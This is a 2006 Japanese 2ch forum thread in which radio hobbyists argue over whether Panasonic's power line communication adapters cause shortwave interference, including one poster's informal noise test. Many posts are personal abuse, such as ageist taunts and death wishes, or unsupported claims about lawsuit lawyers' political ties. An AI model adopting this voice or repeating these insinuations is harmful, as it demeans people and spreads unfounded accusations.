609 :名無しさんから2ch各局…:2006/12/04(月) 14:44:09
実験報告
発売予定日より早くBL-PA100KT、BL-PQ100を入試しましたので早速試しに使ってみた。

設置条件
PLC側
1Fのリビングと和室に親機、子機を設置する。
親機より子機に夫々のコンピュータをつけてファイル転送を行う。
受信側
2FのシャックにFT-1000にAFA-40(地上高27m)で受信。
電力線
敷地から道を挟んだ反対側に通っている。

結果
7MHzでの自然雑音レベルS1程度。ファイル転送を開始するがノイズレベルに変化は見られない。
5MHzを受信すると自然雑音レベルがS1程度だったがファイル転送を開始するとS3程度に上がる。
追加実験
1:子機をシャックに持ち込みAC受信機と同じ電源につなぐ。
7MHzではやはり雑音は増える。ただ、これは受信機の性能にも関係するが、殆どの信号が
アンテナから入っている限り。即ちアンテナとのマッチングが正常(SWR 1.0-1.2)ならば
ラインから信号を拾うことはないのではないか。
2:市販のロッドアンテナ付の3バンドラジオを使用。
PLC機を1Fにおいた場合ノッチのない周波数ではノイズの増加を感じる。
PLC機の直近だともの凄い雑音。

この結果をどう評価するかは各人で違うだろうが、私はこれならことさら問題にするレベルではないと感じた




610 :名無しさんから2ch各局…:2006/12/04(月) 14:45:51
訴訟団 涙目WWWWWWWWWWWWWWWWWWW
実際には殆ど影響ないのにねWWWWWWWWWW

611 :名無しさんから2ch各局…:2006/12/04(月) 14:56:44
いろんなところでレポートが出てきたけどまともなアンテナを使えば問題は無さそうだね。
松下だってクラブ局があるから実験はやったに違いないよ。
まともに整合されていないアンテナを使ったらアマチュアのほうが電波法の設備規則違反
ってことになるからな。


612 :名無しさんから2ch各局…:2006/12/04(月) 14:57:50
反対派のレポートが何故無いのだろう。ちょっと疑問です。


613 :名無しさんから2ch各局…:2006/12/04(月) 15:01:05
>>612
609ですけど私もDXをやっているので反対ですよ。
ただ、実情をちゃんと理解しておくことは必要なので使ったまでのことです。
ただ脅かして反対するのでは社会が認めてくれませんからね。
アマチュアバンド以外のことまで言及する立場にはありません。
それは被害者がいればその人たちが立ち上がるのが筋です。




614 :名無しさんから2ch各局…:2006/12/04(月) 15:09:14
アマチュアバンドだけ除外するという姑息な手段が気に食わん。
撤退まで追い詰めてやる。

615 :名無しさんから2ch各局…:2006/12/04(月) 15:14:26
ノイズがゼロになるまで訴訟の対象だ。


616 :名無しさんから2ch各局…:2006/12/04(月) 15:20:21
>>612
ここにいる推進派=関係者だから発売前に入手できたとは推測できますが。

ただまぁ、モノが出回ってくればいやでも真実は見えてくるので、そちら
を待てばいいだけの話ではないかと。
個人的には大嘘だと思っていますが、推進派の実験結果が真で本当に問題
無い程度のノイズしか出ないのであれば、それはそれでOKでしょうしね。

ただ少なくとも推進派は、例の実験の動画以上に説得力のあるデータを
持ってくる必要はあるでしょう。中国製ラジオの悪口で誤魔化す程度では、
誰も信じてくれませんよ。

617 :名無しさんから2ch各局…:2006/12/04(月) 15:29:13
アマチュア無線の連中、今頃地団駄ふんどるやろね。
技術もなくなった無線家どもにメーカーは技術力を
見せつけたわけだ。BCLなんて相手にもされてないしなw

悔しかったら米軍でも自衛隊でも連れてこいやw

618 :名無しさんから2ch各局…:2006/12/04(月) 15:39:02
>>616
609に書いた者だが、いい加減にしろ。お前さんが入手できないからって先行入手した私を推進派だとは呆れる。
あんたのような連中が反対しているから足並みが揃わないんだ。
いいかちょっと家電業界いやPC業界に居れば誰だって入手は可能だよ。
それすら分からないとは本当に社会人なのか。
まさかDXなどやっておらんだろうが余計なことせんで寝ていろ。



619 :名無しさんから2ch各局…:2006/12/04(月) 15:52:03
それにしても「問題ない」と言い張るだけで,具体的データがないというのが不思議だ。

問題がない事を証明する音声付き動画を誰かアップしてくれ。
三上氏のように名前も出してアップしてくれ。

620 :名無しさんから2ch各局…:2006/12/04(月) 15:58:46
極端な例を出してこき下ろしても品格を疑われるだけ (12/03 12:37)
PCの隣でラジオを入れると、物凄いノイスで聞き取れないことがよくあります。
PCに限らず、最近のデジタル機器は何らかのノイズを発生させており、ラジオが聞けなくなる機器は
  極普通に存在します。

問題なのは、通常の使用距離(1〜2m程度以上)でノイズが入ることなのではないですか?

すぐ隣でラジオ入れてノイズが入るから悪いなんて、悪意をもってやっているようにしか見えません。
それとも、常識が欠如しているのでしょうか?



と書き込んだ人に常識が欠如している。

621 :名無しさんから2ch各局…:2006/12/04(月) 15:59:23
来月号のCQを買え。文句はそれからだ。


622 :名無しさんから2ch各局…:2006/12/04(月) 16:08:53
>>609
>>620のような意見もある。三上はフロア内やベランダでもノイズ増加してると書いてるが。

>PLC機を1Fにおいた場合ノッチのない周波数ではノイズの増加を感じる。
これは2F?1F?どちらで受信した場合か明らかにして欲しい。
あと、出来ればラジオの型番も希望する。

623 :名無しさんから2ch各局…:2006/12/04(月) 16:13:26
来月号のCQ誌発売まで休戦しようぜ。


624 :名無しさんから2ch各局…:2006/12/04(月) 16:16:01
嫁が近くに来ると、ノイズが出まつ!
多分、ヒステリノイズでつ・・・

625 :名無しさんから2ch各局…:2006/12/04(月) 16:19:09
プラズマTVのノイズはどうなるんだ。特に中国製のはたまらんぞ。
PLCより問題なのに無線設備じゃないから対象外だそうだ。
無線設備であれだけノイズを出したら問題になるのにどうして?


626 :名無しさんから2ch各局…:2006/12/04(月) 16:19:38
すぐ隣でラジオを入れてノイズが入るから悪い,と三上氏は書いているか?

>>620で指摘された
「極端な例を出してこき下ろしても品格を疑われるだけ (12/03 12:37)」
氏がオカシイんじゃないの?

この方は日本語が理解できないお方なのでしょう。

627 :名無しさんから2ch各局…:2006/12/04(月) 16:40:46
一般家電製品でもテレビラジオに雑音を与えるようなものは、
それはその家電製品がまずいだろ。

放送受信に問題が出るときには受信相談の窓口へ持ち込むといいよ。
これらの話は無線設備だけが対象じゃないからね。

628 :名無しさんから2ch各局…:2006/12/04(月) 16:50:03
結論として短波は無法地帯になった訳だ。
もうこれからは何でも有りなんだから漏れ的には遣りやすいわけだ。

629 :名無しさんから2ch各局…:2006/12/04(月) 16:53:49
>>628
http://www.cbt.go.jp/hodo/2006ka156-1.html
こうなるぞ。
最近はアマチュアに対する取締りがきついんだぞ。
名古屋では20人くらいお灸をすえられたぞ。

630 :名無しさんから2ch各局…:2006/12/04(月) 17:00:04
>>629
hodoというのを見てアマチュア無線家が補導されたのかと思った。
報道ページだった。

631 :名無しさんから2ch各局…:2006/12/04(月) 17:08:35
>>617
>アマチュア無線の連中、今頃地団駄ふんどるやろね
俺もアマチュアだけど、地団駄は踏んでねぇよ。
アマチュアバンドでノイズが増えないなら「俺は」何の不満もないからね。
但し、チョイトでも影響あったらキチガイみたいに噛み付くから、覚悟してくれ > 社畜ども

632 :名無しさんから2ch各局…:2006/12/04(月) 17:23:06
>>617
メーカーに技術力?
あったの?

633 :名無しさんから2ch各局…:2006/12/04(月) 17:26:27
中国こそ世界最高の技術です。
日本に向けて大量のPLCを売り込むだろう。
これで日本の無線通信は崩壊する。
わざわざ妨害電波を出さなくてもな。


634 :名無しさんから2ch各局…:2006/12/04(月) 17:27:23
JARLの支部長で反対したのが粛清されたようだ。


635 :名無しさんから2ch各局…:2006/12/04(月) 17:29:26
http://blog.zaq.ne.jp/ja3atj/article/725/

636 :名無しさんから2ch各局…:2006/12/04(月) 17:29:44
反対派が涙目wwwwwwwwwwwwwwwwww

たいした影響ないのに影響あるがごとく騒ぎ立ててるwwwwwwwwwwwww

逆に訴えられるんじゃないの?wwwwwwwwwwwwwww

637 :名無しさんから2ch各局…:2006/12/04(月) 17:31:41
>>634
大阪か? ブログも役職も続けてるから粛清されたわけではないな。
PLCに関して一切沈黙してしまったがな。
奴を黙らせたとされるHXJ長谷川は昨日関西の会合で白々しく一席ぶったようだが、詳細晒せや。

638 :名無しさんから2ch各局…:2006/12/04(月) 18:05:28
注意書き変わった?
http://panasonic.jp/p3/plc/


・PLC製品は医療機器の近くでの設置や使用をしないでください。
本製品からの高周波信号が、医療機器に影響を及ぼすことがあり、誤動作による事故の原因になります。

・PLC 製品はアマチュア無線、短波放送、航空無線、海上無線、電波を利用した天文観測などと同じ
周波数を使用した高周波利用設備であり、これらの無線設備の近傍で使用した場合、
これらの業務の妨害となる可能性があります。
もし、継続的かつ重大な妨害の原因が本製品であると確認された場合は、電波法に基づき
妨害を除去する必要な措置(全てのPLCアダプターを電源コンセントから抜くなど)を
とることを総務大臣から命じられることがあります。

639 :名無しさんから2ch各局…:2006/12/04(月) 18:07:42
2011年にアマチュア無線が廃止になるってあのKSOが喚いている。


640 :名無しさんから2ch各局…:2006/12/04(月) 18:14:16
http://6212.teacup.com/ji5pal/bbs
ここでもやろうよ。

641 :名無しさんから2ch各局…:2006/12/04(月) 18:14:24
こりゃ逆に民事で訴えられるぞ。
巻き添え食らって泣きべそかくなよ。
賠償金の無いヤシは今のうちに手を引いておけ。
年金収入だけジャ裁判はきついぜよ

642 :名無しさんから2ch各局…:2006/12/04(月) 18:16:22
大丈夫後ろには福島社民党党首のだんながついてる。
いいかい社民党って自民党の仲間だよ。民主党の敵ね。

643 :名無しさんから2ch各局…:2006/12/04(月) 18:17:36
訴訟から手を引きたいんだけどサインしちゃったからなあ。どうすれば抜けられるの。
メールしても返事ないんだよ。


644 :名無しさんから2ch各局…:2006/12/04(月) 18:21:30
内容証明1通送付しときゃいいんじゃない?


645 :名無しさんから2ch各局…:2006/12/04(月) 18:32:10
大企業が起こす民事か・・・

ガクガクブルブル

到底払いきれないだろうな・・・

646 :名無しさんから2ch各局…:2006/12/04(月) 18:34:04
訴訟する側に何も技術的データが無いのによくやるね。
やはりこれは言われているようにイデオロギー闘争なのかよ。


647 :名無しさんから2ch各局…:2006/12/04(月) 18:35:05
今日JARLの技研の人と話したけど笑っていたよ。

648 :名無しさんから2ch各局…:2006/12/04(月) 18:39:42
左翼でも社民党でもいいから頼むよ。
総務省を粉砕してくれ。


649 :名無しさんから2ch各局…:2006/12/04(月) 18:42:56
総務省の前にJARLを粉砕しろ。
お上にたて突くよりよっぽど簡単だろう。

650 :名無しさんから2ch各局…:2006/12/04(月) 18:49:38
訴訟団はどんな物証を出して裁判に挑むのだろうか?
はっきりいって勝ち目無いじゃん
先走りすぎたな

651 :名無しさんから2ch各局…:2006/12/04(月) 18:55:13
そんなことどうでもいいの。連中はお上に楯突くだけでメリットがあるんだから。ある意味アマチュアは利用されてるだけよ。


652 :名無しさんから2ch各局…:2006/12/04(月) 19:04:48
俺もそこが疑問だった。訴訟団に加わったが
弁護士の名前をあとで検索したら思想的に偏
ってる。
イデオロギー裁判みたいに思えてきた。これを
尋ねたら、些細なことだと一蹴された。

653 :名無しさんから2ch各局…:2006/12/04(月) 19:15:01
とっとろ消えろ!


654 :名無しさんから2ch各局…:2006/12/04(月) 19:17:14
>>636
「wの数は知能に反比例する」という法則は、このスレでも有効であったか。

655 :名無しさんから2ch各局…:2006/12/04(月) 19:19:46
それにしても、アンチ反対派は昼休みの時間帯になったら
なぜか書き込まなくなるんだよなあ。マズイ社食でランチですかね。

656 :名無しさんから2ch各局…:2006/12/04(月) 19:20:14
だからどうした?wwwwww
勝算ないから涙目か?wwwwwww
勢いで参加しちゃった人ご愁傷様www

657 :名無しさんから2ch各局…:2006/12/04(月) 19:21:23
「wの数は知能に反比例する」という法則は、このスレでも有効であったか。

658 :名無しさんから2ch各局…:2006/12/04(月) 19:22:55
はいはいそうやってレスすることしかできないんだねwwwwwwwwwwww

もう負け確定じゃんwwwwwwwwww

659 :名無しさんから2ch各局…:2006/12/04(月) 19:24:52
>>658
おい、なんか余計な文字がいっぱいあるぞ。wばかりだな。
生活かかってるから不安なのかな。涙でディスプレイが見えないのか?

660 :名無しさんから2ch各局…:2006/12/04(月) 19:25:24
「wの数は知能に反比例する」という法則は、このスレでも有効であったか。

どうみても有効な法則です。ありがとうございました。

661 :名無しさんから2ch各局…:2006/12/04(月) 19:26:18
むかしむかし鉄道に反対して蒸気機関車が走ると周辺家屋がみんな
火事で焼けると騒いだ馬鹿が痛そうな。  イタイイタイ。

662 :名無しさんから2ch各局…:2006/12/04(月) 19:27:02
JARLの忘年会。さあ祝勝会だな。創価学会系の勝利だ。


663 :名無しさんから2ch各局…:2006/12/04(月) 19:27:36
低学歴の馬鹿なのに奇跡的に就職できた。
その会社が大ピンチ。会社が傾いたら
まず最初にリストラだから必死なのは無理もない。

664 :名無しさんから2ch各局…:2006/12/04(月) 19:27:36
結局、結果を出せない奴が負け犬
負け犬が何を言っても無駄

665 :名無しさんから2ch各局…:2006/12/04(月) 19:28:15
無知な人民を操る極意だよ。


666 :名無しさんから2ch各局…:2006/12/04(月) 19:28:38
総務省は訴えてくれることを待ち望んでいる。
それを理由に,どうしようもないPLCを廃止できるから。

667 :名無しさんから2ch各局…:2006/12/04(月) 19:29:00
青山に操られた哀れな百人衆ってか。


668 :名無しさんから2ch各局…:2006/12/04(月) 19:30:45
いいや俺もアマチュアやってるしw
なにが嫌かって、集まってる奴らの経歴が怪しすぎることwww
どう考えてもプロ市民ですありがとうございましたwwwwwwwwww

669 :名無しさんから2ch各局…:2006/12/04(月) 19:30:50
http://white2.gazo-ch.net/bbs/1/img/200610/1036010.jpg

670 :名無しさんから2ch各局…:2006/12/04(月) 19:31:18
PLCがなくなる前にアマチュアが禁止されたらどうする。
総務省だってこんな煩い連中には逝ってもらいたいと思ってるよ。


671 :名無しさんから2ch各局…:2006/12/04(月) 19:31:30
>>661
実際、日本でも明治のころに鉄道が開業してすぐに火事になった。
騒いだ人は、馬鹿ではなかったわけだな。
その問題は、火の粉どめの技術で解決したわけだが、
PLCのけしからんところは、技術で解決するのではなくて、
政治でゴリ押ししようとしているところだ。
訴訟も仕方あるまい。

672 :名無しさんから2ch各局…:2006/12/04(月) 19:32:20
今日は残業何時まででつか?

673 :名無しさんから2ch各局…:2006/12/04(月) 19:33:29
>>671 汚爺さん今日の粘りはすごいな  ぷっ

674 :名無しさんから2ch各局…:2006/12/04(月) 19:33:45
弁護士の実名を出して中傷しているのか。

675 :名無しさんから2ch各局…:2006/12/04(月) 19:34:17
>>673
一行しかレスが書けんのか? ゆとり世代の低学歴が。

676 :名無しさんから2ch各局…:2006/12/04(月) 19:35:33
弁護士はみな社民党系。同じ仲間に福島のだんながいる。



677 :名無しさんから2ch各局…:2006/12/04(月) 19:35:41
反対派の実験結果がなぜ出ないのでしょう?
出せないわけでもあるの?

678 :名無しさんから2ch各局…:2006/12/04(月) 19:35:46
はいはい、レッテル貼りゴクローサン。

679 :名無しさんから2ch各局…:2006/12/04(月) 19:36:49
>>677
推進派の実験結果がでるまで、どのぐらい待たされたと思う?

680 :名無しさんから2ch各局…:2006/12/04(月) 19:38:43
お爺さん、ノイズレベルの前に血圧上がってますよ。
もう永眠してくださいよ。

681 :名無しさんから2ch各局…:2006/12/04(月) 19:39:31
>>680
誰に言ってるんだ? ゆとり世代のオチコボレが永眠しろ。


682 :名無しさんから2ch各局…:2006/12/04(月) 19:39:58
>>652
嫌なら辞退しろよ。足手まといだと思うぞ。
http://wind.ap.teacup.com/je1cka/2380.html
なんたって手に入ってもまともに実験できる環境にないという
情け無い連中だぜ。


683 :名無しさんから2ch各局…:2006/12/04(月) 19:41:21
わろた。まともなアンテナやらインターネット環境もない連中かよ。


684 :名無しさんから2ch各局…:2006/12/04(月) 19:42:02
ノイズが増えるであろうから
業務無線にも支障が出るであろうし
また医療機器にも重大な影響を及ぼすものと考えられるので即刻廃止すべきである

685 :名無しさんから2ch各局…:2006/12/04(月) 19:44:26
>>684
アマチュア無線のことか。


686 :名無しさんから2ch各局…:2006/12/04(月) 19:44:48
Pollution Leakage Communication
公害ダダ洩れ通信

687 :名無しさんから2ch各局…:2006/12/04(月) 19:46:44
汚マイがどうしてもやりたいのは甘茶無線だろ
業務用無線なんか関係ないだろ。
むちゃくちゃな理論だな。  ぼけたか??  病院逝けよ
早く逝かないと病院もノイズだらけになるぞ〜〜〜   ぷぷ

688 :名無しさんから2ch各局…:2006/12/04(月) 19:48:20
業務無線が妨害を受けるからけしからんというわけでアマチュアが動いて何が悪いのですか?

689 :名無しさんから2ch各局…:2006/12/04(月) 19:49:31
そういうのをね「おせっかいじじい」というのですよ。

690 :名無しさんから2ch各局…:2006/12/04(月) 19:51:01
やる偽善は何もやらないより100倍いいんだよ。そこわかれ。

691 :名無しさんから2ch各局…:2006/12/04(月) 19:54:20
だめだ、何逝ってもいっこく爺さん聞く耳もたね〜〜ナ。
耳も遠くなっちまったか??
実害が無いんだよ。

お爺さん  わ か り ま す か 〜〜〜〜

692 :名無しさんから2ch各局…:2006/12/04(月) 20:08:15
青山さんもう還暦でしょ。ボケでるんでしょ。


693 :名無しさんから2ch各局…:2006/12/04(月) 20:41:24
残業するといくらもらえる?

694 :名無しさんから2ch各局…:2006/12/04(月) 20:42:47
欲しいだけ・・・

695 :名無しさんから2ch各局…:2006/12/04(月) 20:43:07
一文字10円

696 :名無しさんから2ch各局…:2006/12/04(月) 20:50:38
電力線というありモノでLAN構築!の現在過去未来
http://www.atmarkit.co.jp/fnetwork/column/narumono14/01.html

697 :名無しさんから2ch各局…:2006/12/04(月) 20:57:17
なんでPLC?
無線LANでいいジャン

698 :名無しさんから2ch各局…:2006/12/04(月) 21:02:50
まあまあ、焦らないでくださいよ、メーカーの社畜さんたち。
PLCが我々アマチュア無線に妨害を与えることを証明するには、たった一つでも事例があれば
いい訳ですから・・・・。
これからいつでも実験はできますからね。
とりあえず一件出てきてからですよ、話は。
私の家の近所で出てくれないかなぁ。
自分家は光&カテ5ケーブル引いてるんで、いまさら金かけてPLCはねぇ。
ま、お隣さんが始めてくれるのを楽しみにしてますよ。

699 :名無しさんから2ch各局…:2006/12/04(月) 21:11:12
実際、PLCでノイズ障害が発生することを望んで
いるのは、誰あろうPLC反対派の人間なんだよね
まさに、偽善者、うそつき、悪魔

700 :名無しさんから2ch各局…:2006/12/04(月) 21:17:49
ノイズが出ないのであれば、反対する理由がない。
低能め。バカジャネーノ。

701 :698:2006/12/04(月) 21:18:32
>>699
いやいや、そんなことは思ってないですよ。
ただね、今までのオマエさんたちの言動ってのに随分気に食わないことがあったもんでね。
意趣返しはしたいじゃないですか。
世の中そんなもんですよ。
穏便にことを進めなかったのはあんた達メーカーだろう。
アマチュアが多少動いたからっていまさら何言ってんだい。
っていうより、こちとらあんた達が心からバカにしてる素人だよ。
あまり本気になるなって、みっともないから > 社蓄

702 :R777DXN 煮海女親爺:2006/12/04(月) 21:19:25
OVER POWER 200Wer!

703 :名無しさんから2ch各局…:2006/12/04(月) 21:19:48
>>699
全くノイズが増えないならそれに越したことないじゃないの?
あんたバカ?

704 :名無しさんから2ch各局…:2006/12/04(月) 21:23:35
検索で発見できると思うけど
ラジオNIKKEIと尼茶の周波数帯はカットされるらしい

705 :名無しさんから2ch各局…:2006/12/04(月) 21:25:41
しおかぜは?
まさか日本国内からジャミングされるとは思わなかったな。

706 :名無しさんから2ch各局…:2006/12/04(月) 21:26:43
しおかぜは日本向け放送ですか
そうですか
さすがPLC反対派

707 :名無しさんから2ch各局…:2006/12/04(月) 21:27:12
しおかぜは宣伝放送だから日本国内で聴けなくたって構わない、ってことでしょ。
ラジオ日本も同じ。

708 :名無しさんから2ch各局…:2006/12/04(月) 21:28:55
>>706
オマエ本当に短絡的だなw
一回死んでみたらそのひねくれた性格がよくなるかもしれんな > 社畜

709 :名無しさんから2ch各局…:2006/12/04(月) 21:29:18
拉致問題に興味を持ってる人がしおかぜ聞こうと思うのは自然な流れだと考えるが。
その機会が減るのは残念だよ。

710 :名無しさんから2ch各局…:2006/12/04(月) 21:30:32
それこそ余計なお世話

711 :名無しさんから2ch各局…:2006/12/04(月) 21:34:15
ちゅうかあれ(しおかぜ)は、むしろ日本国内向けの政治プロパガンダの要素が強いわけだが。
もっともそれは、放送をしているという事実だけがあればよく、聴取できないことは問題とならないし、
当のしおかぜ関係者は、その本音を口が裂けても言えないがな。

712 :名無しさんから2ch各局…:2006/12/04(月) 21:37:02
呪い殺す

713 :名無しさんから2ch各局…:2006/12/04(月) 21:37:37
反対派はPLCのノイズガ問題ないレベルだと
振り上げたこぶしのもって行きようがなくて困るのさw

714 :名無しさんから2ch各局…:2006/12/04(月) 21:41:05
もっとノイズ出ろ出ろと願ってるのは反対派だったりする

715 :名無しさんから2ch各局…:2006/12/04(月) 21:43:31
だから反対派が期待するのはノイズだらけのPLC

716 :名無しさんから2ch各局…:2006/12/04(月) 21:44:00
>>713-714
しつこいねまったく
どういう性格してんだ > 社畜

717 :名無しさんから2ch各局…:2006/12/04(月) 21:44:08
妄想で訴え起こされちゃあな。。。
民事で逆に訴えられたら基地外のふりしてごまかすのかね?
それとも長期戦であの世に逃亡するの

718 :名無しさんから2ch各局…:2006/12/04(月) 21:45:22
残念ながら俺はPLC会社とはなんら関係のないアマチュア無線家だったりする

719 :名無しさんから2ch各局…:2006/12/04(月) 21:47:22
はいはい、どうぞご勝手に
アマチュアだろうと社畜だろうと、あんたが狂ってることに変わりはない

720 :名無しさんから2ch各局…:2006/12/04(月) 21:49:00
いやだから狂ってるのは、難癖付けてるおたくらでは?

721 :名無しさんから2ch各局…:2006/12/04(月) 21:53:38
>>718
そんなことはわかってる。
しかもあんたは負け組でもう辞めかかってるアマチュア無線家。
趣味の世界ですら落ちこぼれた気の毒な奴。
無線機の前にいるより2ちゃんねるの方が長くなった奴は、みんなそう。

722 :名無しさんから2ch各局…:2006/12/04(月) 22:02:29
>>718
局免も切れてるんじゃねえの?
誰かがCQ出してると
使ってます
とか言って妨害してるだろ


723 :名無しさんから2ch各局…:2006/12/04(月) 22:02:54
PLCに対して客観的に評価しようとする人達を
見ると
社畜だの負け組だの落ちこぼれなどと罵倒する狭量な連中がいるな

724 :名無しさんから2ch各局…:2006/12/04(月) 22:04:06
どこが客観的なんだよ <ぷ

725 :名無しさんから2ch各局…:2006/12/04(月) 22:06:13
日本人というのはどうしてこう度量の無い低劣
な人間が多いのだろうな
意見の相違や多様性というものを認めない
ステレオタイプな考え方を強いる

726 :名無しさんから2ch各局…:2006/12/04(月) 22:07:31
そんなの別に日本人に限ったことじゃないし。世間が狭いんだな。

727 :名無しさんから2ch各局…:2006/12/04(月) 22:10:51
推進派はBCLや天文の人見かけたら「迷惑かけて申し訳ない」と謝罪するくらいの
器量が欲しい。
我慢しろとか、しおかぜ国内で聞くのは目的外だからシラネ。というのは、、、

反対派のテンションを維持してるのは推進派の物言いではないだろうか?

728 :名無しさんから2ch各局…:2006/12/04(月) 22:14:25
PLC社蓄の特徴
(1)完全な受動業務で誰にも何の迷惑もかけていないBCLや電波天文
を目の敵にすること。
(2)アマチュア無線を貶めることによって、短波帯を乗っ取ろうと
していること。
(いかにも愚かなアマチュア無線家のふりして書き込んでいるものは、
これに相当します。)
最近、やっぱり多いような気がする。2chだからといって、永久に
誰が書き込んだかばれないなんて思っていたら、会社に迷惑かけて、
結果的に、家族を路頭に迷わすことになるので、気をつけた方が良い
ですよ。
裁判の対象になっている話題であるということは、いろいろな波及効果
があります。お互いにフェアプレイで行きましょう。

729 :名無しさんから2ch各局…:2006/12/04(月) 22:15:34
事実を充分に確認せず思い込みで訴えちゃって今更引っ込みが付かなくなった
馬鹿が必死に突っ張ってるのはココですか?

今ならまだ間に合うんじゃない?
ごめんって言ってみなよ。。  楽になるよ

730 :名無しさんから2ch各局…:2006/12/04(月) 22:22:22
>>729
社畜乙

731 :名無しさんから2ch各局…:2006/12/04(月) 22:26:05
「社畜」というより「国畜」でしょう
2ちゃんねるは「国畜牧場」のような面がある(・∀・)ニヤニヤ

732 :名無しさんから2ch各局…:2006/12/04(月) 22:26:14
まいったな、、どうしても社員にしたいんだ
精神的に逝っちゃったか?
脳内ノイズだらけなのか?

事実に基付いた技術的な反論は無いの

733 :名無しさんから2ch各局…:2006/12/04(月) 22:28:09
こいつらのせいで普通のアマチュア無線家も世間から
変人扱いうけるんだな。
迷惑極まりないジイさんたちだな。

734 :名無しさんから2ch各局…:2006/12/04(月) 22:28:44
>>732
PLCでは必ずノイズが出ると思われます
ノイズが出た場合、時として生命に関わる重大な問題が起こるかもしれません
遭難信号や緊急信号がノイズで消されて人命が失われるかもしれません

735 :名無しさんから2ch各局…:2006/12/04(月) 22:37:03
何で新しいものを素直に理解して受け入れられないのかね?

736 :名無しさんから2ch各局…:2006/12/04(月) 22:39:25
HF帯があぼーんするから?

737 :名無しさんから2ch各局…:2006/12/04(月) 22:39:31
必ず・・・思われます・・・
・・・・かもしれません
・・・・・・かもしれません

   説得力全くなし。

738 :名無しさんから2ch各局…:2006/12/04(月) 22:40:02
>>735
まともなものなら受け入れるがね
人を不幸にするものを受け入れるわけにはいかんのだが

739 :名無しさんから2ch各局…:2006/12/04(月) 22:45:13
>人を不幸に   

 大げさな・・

740 :名無しさんから2ch各局…:2006/12/04(月) 22:47:48
ペースメーカーへの誤動作、人口心臓への誤動作、酸素供給装置への誤動作も考えられます
このような機械を広く流通させてもいいのでしょうか?

741 :名無しさんから2ch各局…:2006/12/04(月) 22:48:48
>>739
大袈裟かどうか、主観の違いだろう


742 :738:2006/12/04(月) 22:59:42
>>739
怒らせないでくださいよ
失礼な方ですね
私にとってはHF帯にノイズが増えるのは非常に不幸なことです。
夜景を見る者にとってほんの少しの煙でも邪魔になるように、
私にとってはほんの僅かなノイズでも邪魔になります。
それは私の楽しみですから、その楽しみを邪魔される可能性があるものに反対することの
なのがおかしいのでしょうか?
実際にノイズが出なければよし、出たら全力を以って排除します。
その約束で許可されたわけですから。
  あなたは無礼です >>739


743 :名無しさんから2ch各局…:2006/12/04(月) 23:01:27
無礼というより、人の心を分からない人なんじゃない

744 :名無しさんから2ch各局…:2006/12/04(月) 23:02:02
PLCノイズは飯の種なんだよ!!!!
もっともっと煽れよ!!!!
推進派、社蓄とレッテル貼って、被害者面して問題提起するんだよ!!!!
そうしないとせっかくのビジネスチャンスが台無しだろがッヴォケッ!!!
行政に虐げられる小市民の声を代弁する


  ビ  ジ  ネ  ス  な  ん  だ  よ  っ


そんなこともわかんねーのかよっ  低脳ッ

えーと wの数が低脳指数に比例すんだっけ?
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWW たんない?WWWWWWWWWWWWWWWWWWWWWWWWWW


745 :名無しさんから2ch各局…:2006/12/04(月) 23:02:57
>>740
はっきり言って異常だよ
家庭電化製品であんな注意書きが付いてくる機器なんて今まで見たことない

746 :名無しさんから2ch各局…:2006/12/04(月) 23:04:10
>>744
あなた誰?
気がふれた?

747 :名無しさんから2ch各局…:2006/12/04(月) 23:04:43
アマチュア無線が最大のHF対ノイズ発生源の件
by電波天文

748 :名無しさんから2ch各局…:2006/12/04(月) 23:07:00
( ゚∀゚)アハハ八八ノヽノヽノヽノ \ / \/ \''カ

749 :名無しさんから2ch各局…:2006/12/04(月) 23:08:46
反対派にもビジネスマンがいるのは事実
これも社蓄

750 :名無しさんから2ch各局…:2006/12/04(月) 23:10:06
これも原先生が与えた試練です!

751 :名無しさんから2ch各局…:2006/12/04(月) 23:10:46
俺天文やってるけどPLCには反対です

752 :名無しさんから2ch各局…:2006/12/04(月) 23:17:02
さてと今日も稼いだから寝るか

753 :名無しさんから2ch各局…:2006/12/04(月) 23:17:47
PLCも家電もPCもアマチュア無線もみんな同じノイズでつ
by oishi

754 :名無しさんから2ch各局…:2006/12/04(月) 23:19:55
>>742
バカの人?

755 :名無しさんから2ch各局…:2006/12/04(月) 23:20:44
祝PLC解禁祝PLC解禁祝PLC解禁祝PLC解禁祝PLC解禁祝PLC解禁
祝PLC解禁祝PLC解禁祝PLC解禁祝PLC解禁祝PLC解禁祝PLC解禁
祝PLC解禁祝PLC解禁祝PLC解禁祝PLC解禁祝PLC解禁祝PLC解禁

756 :名無しさんから2ch各局…:2006/12/04(月) 23:21:19
さてと今夜も夜のお仕事済んだから一風呂浴びて寝るか

757 :名無しさんから2ch各局…:2006/12/04(月) 23:28:40
件の中国ラジヲ使った実験している香具師も
商売だよなw
仕事場だし・・・・

758 :名無しさんから2ch各局…:2006/12/04(月) 23:40:16
PLCは短波放送や無線通信業務に対するテロ
推進企業はテロリスト集団


759 :名無しさんから2ch各局…:2006/12/04(月) 23:50:22
>>757
当然だろが?
話が揉めたり大きくなれば記事の価値(原稿料)上がるだろ
燃え上がればそれだけ儲かる罠

漏れだったら煽るねwww

760 :名無しさんから2ch各局…:2006/12/05(火) 00:05:43
老人たちはもうとっくに寝ますたzzZ

761 :名無しさんから2ch各局…:2006/12/05(火) 00:32:44
ところで、推進派の「ノイズは問題無い」というレポートの証拠はまだでしょうかね?
言うだけなら幾らでも言えるので、反対派の実験の動画を粉砕するようななりの説得力
のある証拠をアップしていただければ助かるのですが。

ま、できっこないと思いますが。

762 :名無しさんから2ch各局…:2006/12/05(火) 00:34:18
                _,.. ---- .._
              ,. '"       `丶、
              /            ` 、
            ,..-‐/    ...:  ,ィ  ,.i .∧ ,   ヽ.
.         ,:'  .l .::;',. :::;/..://:: /,':/  ', l、 .i  ヽ
.          ,'  ..::| .::;',' :;:','フ'7フ''7/   ',.ト',_|, , ',.',
       ,'   .::::::!'''l/!:;'/ /'゙  /     '! ゙;:|:、.|、| 'l
